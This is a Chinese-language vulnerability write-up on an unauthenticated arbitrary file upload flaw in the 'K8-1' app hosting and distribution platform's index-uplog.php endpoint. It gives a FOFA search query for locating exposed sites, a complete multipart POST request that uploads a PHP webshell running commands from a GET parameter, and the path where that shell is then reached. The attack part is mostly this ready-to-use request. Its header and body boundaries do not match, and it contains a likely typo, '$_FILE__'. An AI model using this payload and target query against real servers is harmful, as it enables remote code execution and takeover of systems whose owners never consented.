

# K8-1开源-App托管服务分发平台-任意文件上传

## 漏洞描述：

App托管服务分发平台 index-uplog.php 接口处存在任意文件上传漏洞，未经身份验证的远程攻击者可利用此漏洞上传webshell致服务器，执行任意代码，从而获取服务器权限。

## 网站图片：



## fofa语法：

body="/api/statistics/service-usage-amount"

## 漏洞复现：

payload:

```
POST /source/pack/upload/2upload/index-uplog.php HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfF7NbGp0PAFq8Mkd

-----WebKitFormBoundary03rNBzFMIytpvWhy
Content-Disposition: form-data; name="time"

1-2
-----WebKitFormBoundary03rNBzFMIytpvWhy
Content-Disposition: form-data; name="app"; filename="1.php"
Content-Type: image/jpeg

<?php system($_GET['id']);unlink($_FILE__);?>
-----WebKitFormBoundary03rNBzFMIytpvWhy--
```

效果图：



验证url payload:

/source/data/tmp/1-2.php

效果图：

